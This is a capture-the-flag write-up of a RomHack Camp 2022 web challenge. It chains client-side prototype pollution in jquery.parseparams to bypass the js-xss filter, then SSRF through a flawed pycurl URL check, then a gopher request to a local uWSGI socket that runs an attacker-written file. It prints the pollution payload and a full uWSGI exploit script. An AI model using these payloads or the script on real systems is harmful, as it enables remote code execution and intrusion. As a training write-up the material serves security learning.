This writeup details our journey through the web challenge hosted during RomHack Camp 2022. Although we couldn’t finish the challenge before the deadline, we put tremendous effort into it and eventually managed to complete it. Below, you’ll find an in-depth technical analysis covering every detail—from the challenge’s design to its exploitation—and the final exploit that led to remote code execution (RCE).
It initially appears to be a simple XSS challenge where a user can send a letter and view it.
Challenge Overview
The application allows users to send a message to an administrator. When a user submits a message, a POST request is sent to the /api/report
endpoint carrying the message UID. This API, in turn, triggers a headless browser that simulates real user interaction.
Below is the function that reports a letter:
const reportLetter = async (uid) => {
$('#resp-msg').show()
await fetch('/api/report', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
uid
}),
})
.then((response) => {
location.href = '/';
})
.catch((error) => {
console.error(error);
});
}
Let’s Understand the Application
By examining the source code, we can enumerate several endpoints:
@web.route("/")
def index():
return render_template('index.html')
@web.route("/letter")
def letter():
return render_template('letter.html')
@api.route('/create', methods=['POST'])
def createLetter():
if not request.is_json:
return response('Missing required parameters!', 401)
data = request.get_json()
userLetter = data.get('userLetter', '')
userEmoji = data.get('userEmoji', '')
if not userLetter or not userEmoji:
return response('Missing required parameters!', 401)
uid = str(uuid.uuid4())
try:
newLetter = Letter(uid=uid, letter=userLetter, emoji=userEmoji)
db.session.add(newLetter)
db.session.commit()
return jsonify({'message': 'Letter created successfully', 'uid': uid})
except:
return response('Something went wrong', 500)
@api.route('/letter', methods=['POST'])
def viewLetter():
if not request.is_json:
return response('Missing required parameters!', 401)
data = request.get_json()
uid = data.get('uid', '')
if not uid:
return response('Missing required parameters!', 401)
userLetter = Letter.query.filter_by(uid=uid).first()
if not userLetter:
return response('Letter does not exist', 403)
return userLetter.to_dict()
@api.route('/report', methods=['POST'])
def report_issue():
if not request.is_json:
return response('Missing required parameters!', 401)
data = request.get_json()
uid = data.get('uid', '')
if not uid:
return response('Missing required parameters!', 401)
visit_letter(uid)
return response('Letter reported successfully!')
@web.route('/login', methods=['GET'])
def login():
return render_template('login.html')
@api.route('/login', methods=['POST'])
def user_login():
if not request.is_json:
return response('Missing required parameters!', 401)
data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
return response('Missing required parameters!', 401)
user = User.query.filter_by(username=username).first()
if not user or not user.password == password:
return response('Invalid username or password!', 403)
login_user(user)
return response('User authenticated successfully!')
@web.route('/admin')
@login_required
def dashboard():
with open(current_app.config['EMOJI_PACK_PATH']) as epack:
emojiContent = epack.read()
return render_template('admin.html', emojiContent=emojiContent)
@api.route('/admin/emoji-pack/update', methods=['POST'])
@login_required
def emojiUpdate():
if not request.is_json:
return response('Missing required parameters!', 401)
data = request.get_json()
emojiData = data.get('emojiData', '')
if not emojiData:
return response('Missing required parameters!', 401)
with open(current_app.config['EMOJI_PACK_PATH'], 'w') as epack:
epack.write(emojiData)
return response('Emoji pack updated successfully!')
@api.route('/admin/emoji-pack/import', methods=['POST'])
@login_required
def emojiImport():
if not request.is_json:
return response('Missing required parameters!', 401)
data = request.get_json()
emojiURL = data.get('emojiURL', '')
if not emojiURL:
return response('Missing required parameters!', 401)
result = retireve_json(emojiURL)
if (type(result)) is not dict:
return response(result, 401)
with open(current_app.config['EMOJI_PACK_PATH'], 'w') as epack:
epack.write(result)
return response('Emoji pack updated successfully!')
From the above, note the presence of some special endpoints that are accessible only to the admin user:
/admin/emoji-pack/update
← allows writing directly tocurrent_app.config['EMOJI_PACK_PATH']
/admin/emoji-pack/import
← accepts a URL that will be processed byretireve_json
to update the same file
Additionally, two protected endpoints are evident:
/admin/emoji-pack/update
is used to update the emoji pack stored at the path specified in the configuration./admin/emoji-pack/import
imports an emoji pack from a remote source.
To create a letter, the client issues a POST request to /api/create
with two parameters:
userLetter
: the message bodyuserEmoji
: the emoticon that will be set as the background texture image
For example, the client code is as follows:
await fetch('/api/create', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
userLetter,
userEmoji
}),
})
After this POST request, the user is redirected to /letter?uid=
, where the letter they just sent is displayed.
To understand how the letter page works, review its source code:
<script src="/static/js/bootstrap.bundle.min.js"></script>
<script src="/static/js/jquery-3.6.0.min.js"></script>
<script src="/static/js/jquery.parseparams.js"></script>
<script src="/static/js/loader.js"></script>
<script src="/static/js/xss.js"></script>
<script src="/static/js/letter.js"></script>
window.onload = () => {
params = $.parseParams(location.search);
if (!params.hasOwnProperty('uid')) location.href = '/';
loadLetter(params.uid);
$('#reportLetter').on('click', () => { reportLetter(params.uid) });
}
const loadLetter = async (uid) => {
await fetch('/api/letter', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
uid
}),
})
.then((response) => response.json()
.then((resp) => {
if (response.status != 200) {
location.href = '/';
}
$('.emoji-pattern').html(filterXSS(resp.emoji));
$('#letterContent').text(filterXSS(resp.letter));
}))
.catch((error) => {
console.error(error);
});
}
When the page loads, location.search
is parsed by jquery.parseparams.js
and a POST request is made to /api/letter
to retrieve the message body and the emoji pattern associated with the given UID.
The critical part here is:
$('.emoji-pattern').html(filterXSS(resp.emoji));
This line allows setting HTML via the userEmoji
parameter. However, the input is sanitized by the filterXSS()
function—a library used to prevent XSS by filtering out dangerous tags and attributes (see js-xss on GitHub). The library works by either allowing or disallowing tags and attributes based on predefined or custom whitelists.
Client-Side Prototype Pollution → XSS
The sanitization library checks user input for malicious HTML attributes (like onerror
) and tags (such as <script>
). It does so by comparing the content against a predefined list contained within an options
object:
options.whiteList = options.whiteList || DEFAULT.whiteList;
options.onTag = options.onTag || DEFAULT.onTag;
options.onTagAttr = options.onTagAttr || DEFAULT.onTagAttr;
options.onIgnoreTag = options.onIgnoreTag || DEFAULT.onIgnoreTag;
options.onIgnoreTagAttr = options.onIgnoreTagAttr || DEFAULT.onIgnoreTagAttr;
options.safeAttrValue = options.safeAttrValue || DEFAULT.safeAttrValue;
options.escapeHtml = options.escapeHtml || DEFAULT.escapeHtml
If we can achieve prototype pollution, we can modify the whitelist and allow malicious tags or attributes. The jquery.parseparams.js
library is vulnerable to client-side prototype pollution. Any user-controlled JSON property, query string, or hash parameter converted into a JavaScript object and merged with another object can be used for this purpose. For example, using property keys like __proto__
enables an attacker to assign properties to Object.prototype
or other global prototypes.
Exploiting this, we can pollute the whitelist with our malicious tag by appending the following payload to the URL:
&__proto__.whiteList.img[0]=onerror&__proto__.whiteList.img[1]=src
Without pollution, the sanitization works correctly:
With pollution, the filter is bypassed:
Steps to Achieve XSS
-
Send a POST request to
/api/create
with our XSS payload in theuserEmoji
parameter. -
Visit
/letter?uid=UID_JUST_CREATED
with the appended prototype pollution payload:/letter?uid=UID_JUST_CREATED&__proto__.whiteList.img[0]=onerror&__proto__.whiteList.img[1]=src
XSS → RCE
Now that we have achieved XSS, the next step is to escalate to remote code execution (RCE). But where is the flag?
Upon inspecting the source code, we discovered that the flag is stored in /root/flag
and the only method to read it is via the /readflag
SUID binary. Thus, obtaining RCE is essential to retrieve the flag.
# Copy flag
COPY flag.txt /root/flag
# Add readflag binary
COPY config/readflag.c /
RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c
This was the most challenging part of the challenge.
Since we already have XSS, we can access admin endpoints. This allows us to write to a file and import a file via pycurl.
import os, pycurl, json
from urllib.parse import urlparse
generate = lambda x: os.urandom(x).hex()
def request(url):
try:
c = pycurl.Curl()
c.setopt(c.URL, url)
c.setopt(c.TIMEOUT, 10)
c.setopt(c.VERBOSE, True)
c.setopt(c.FOLLOWLOCATION, True)
c.setopt(c.HTTPHEADER, [
'Accept: application/json',
'Content-Type: application/json'
])
resp = c.perform_rb().decode('utf-8', errors='ignore')
c.close()
return resp
except pycurl.error as e:
return 'Something went wrong!'
def retireve_json(url):
domain = urlparse(url).hostname
scheme = urlparse(url).scheme
if not filter(lambda x: scheme in x, ('http',' https')):
return f'Scheme {scheme} is not allowed'
elif domain and not domain == 'githubusercontent.com':
return f'Domain {domain} is not allowed'
try:
jsonData = json.loads(request(url))
return jsonData
except:
return 'Not a valid JSON file'
This code hints at an SSRF vulnerability. To trigger SSRF, we need to bypass the scheme and domain checks. Interestingly, due to how Python’s filter()
function behaves, it always returns a truthy value, allowing us to use any scheme we want. Furthermore, the second check compares the domain to “githubusercontent.com” only if the domain is set. By adding a third /
after the scheme, the URL parser sets the domain to None
, effectively bypassing the check.
But which endpoint can grant us RCE? There were no Redis, PostgreSQL, or MySQL instances available. The only remaining service was uWSGI.
uWSGI is an open source software application designed to build hosting services. It is a WSGI server implementation commonly used to run Python web applications. Read more in the official documentation.
In our scenario, although the socket is not exposed externally, we can access it via the gopher protocol on 127.0.0.1:5000
.
[uwsgi]
...
socket = 127.0.0.1:5000
socket = /tmp/uwsgi.sock
...
If we can communicate with the socket, we can alter the uWSGI configuration. After studying its protocol and source code, we discovered that uWSGI accepts certain magic variables to adjust its parameters dynamically. One such parameter is UWSGI_FILE
, which can override the original application binding and load a new file for execution. By writing malicious content to emoji.json
via the /admin/emoji-pack/update
endpoint and then sending a gopher request to the uWSGI socket (to set UWSGI_FILE = /app/application/static/emoji.json
), we can force uWSGI to execute emoji.json
as a Python script.
We even found a uWSGI LFI exploit on GitHub, which we modified slightly to output the SSRF payload using a gopher attack.
#!/usr/bin/python
# coding: utf-8
# Author: [email protected]
# Edited by: frevadiscor **(added gopher mode that prints out the link for SSRF attack)**
# Last modified: 2022-10-05
# Note: Just for research purpose
import sys
import socket
import argparse
import requests
import urllib
def sz(x):
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
return s[::-1]
def pack_uwsgi_vars(var):
pk = b''
for k, v in var.items() if hasattr(var, 'items') else var:
pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
result = b'\x00' + sz(pk) + b'\x00' + pk
return result
def parse_addr(addr, default_port=None):
port = default_port
if isinstance(addr, str):
if addr.isdigit():
addr, port = '', addr
elif ':' in addr:
addr, _, port = addr.partition(':')
elif isinstance(addr, (list, tuple, set)):
addr, port = addr
port = int(port) if port else port
return (addr or '127.0.0.1', port)
def get_host_from_url(url):
if '//' in url:
url = url.split('//', 1)[1]
host, _, url = url.partition('/')
return (host, '/' + url)
def fetch_data(uri, body):
if 'http' not in uri:
uri = 'http://' + uri
s = requests.Session()
if body:
import urlparse
body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))
d = s.post(uri, data=body_d)
else:
d = s.get(uri)
return {
'code': d.status_code,
'text': d.text,
'header': d.headers
}
def ask_uwsgi(addr_and_port, mode, var, body=''):
if mode == 'tcp':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(parse_addr(addr_and_port))
elif mode == 'gopher':
a = pack_uwsgi_vars(var) + body.encode('utf8')
return 'gopher:///'+addr_and_port+'/_'+urllib.quote(a)
elif mode == 'unix':
s = socket.socket(socket.AF_UNIX)
s.connect(addr_and_port)
s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
response = []
while 1:
data = s.recv(4096)
if not data:
break
response.append(data)
s.close()
return b''.join(response).decode('utf8')
def curl(mode, addr_and_port, payload_url, target_url):
host, uri = get_host_from_url(target_url)
path, _, qs = uri.partition('?')
if mode == 'http':
return fetch_data(addr_and_port+uri, None)
elif mode == 'tcp':
host = host or parse_addr(addr_and_port)[0]
else:
host = addr_and_port
var = {
'SERVER_PROTOCOL': 'HTTP/1.1',
'REQUEST_METHOD': 'GET',
'PATH_INFO': path,
'REQUEST_URI': uri,
'QUERY_STRING': qs,
'SERVER_NAME': host,
'HTTP_HOST': host,
'UWSGI_FILE': payload_url,
'SCRIPT_NAME': '/hacktivesec'
}
return ask_uwsgi(addr_and_port, mode, var)
def main(*args):
desc = """
This is a uwsgi client and LFI exploit. You can use this program to run a specific wsgi file remotely.
The file must exist on the server side.
"""
parser = argparse.ArgumentParser(description=desc)
parser.add_argument('-m', '--mode', nargs='?', default='tcp',
help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.',
dest='mode', choices=['http', 'tcp', 'unix',**'gopher'**])
parser.add_argument('-u', '--uwsgi', nargs='?', required=True,
help='Uwsgi server: 127.0.0.1:5000 or /tmp/uwsgi.sock',
dest='uwsgi_addr')
parser.add_argument('-p', '--payload', nargs='?', required=True,
help='Exploit payload: The exploit path, must have this. ',
dest='payload_path')
parser.add_argument('-t', '--target', nargs='?', default='/hacktivesec',
help='Request URI optionally containing hostname',
dest='target_url')
if len(sys.argv) < 2:
parser.print_help()
return
args = parser.parse_args()
print curl(args.mode, args.uwsgi_addr, args.payload_path, args.target_url)
if __name__ == '__main__':
main()
Build the Exploit
Tl;dr Recap of our attack:
- Step 1: Create a script that will:
- Instruct the bot to write a malicious Python script to
/app/application/static/emoji.json
via a POST request to/admin/emoji-pack/update
- Force the bot to issue a POST request to
/admin/emoji-pack/import
to generate an SSRF gopher request to the uWSGI socket, settingUWSGI_FILE = /app/application/static/emoji.json
- Instruct the bot to write a malicious Python script to
- Step 2: Create a letter embedding the malicious script in the
userEmoji
parameter. - Step 3: Obtain the UID of the created letter and send a POST request to
/api/report
with the UID plus the prototype pollution payload.
Deploy Challenge
If you’d like to try the challenge for yourself, click the link below:
Deploy Now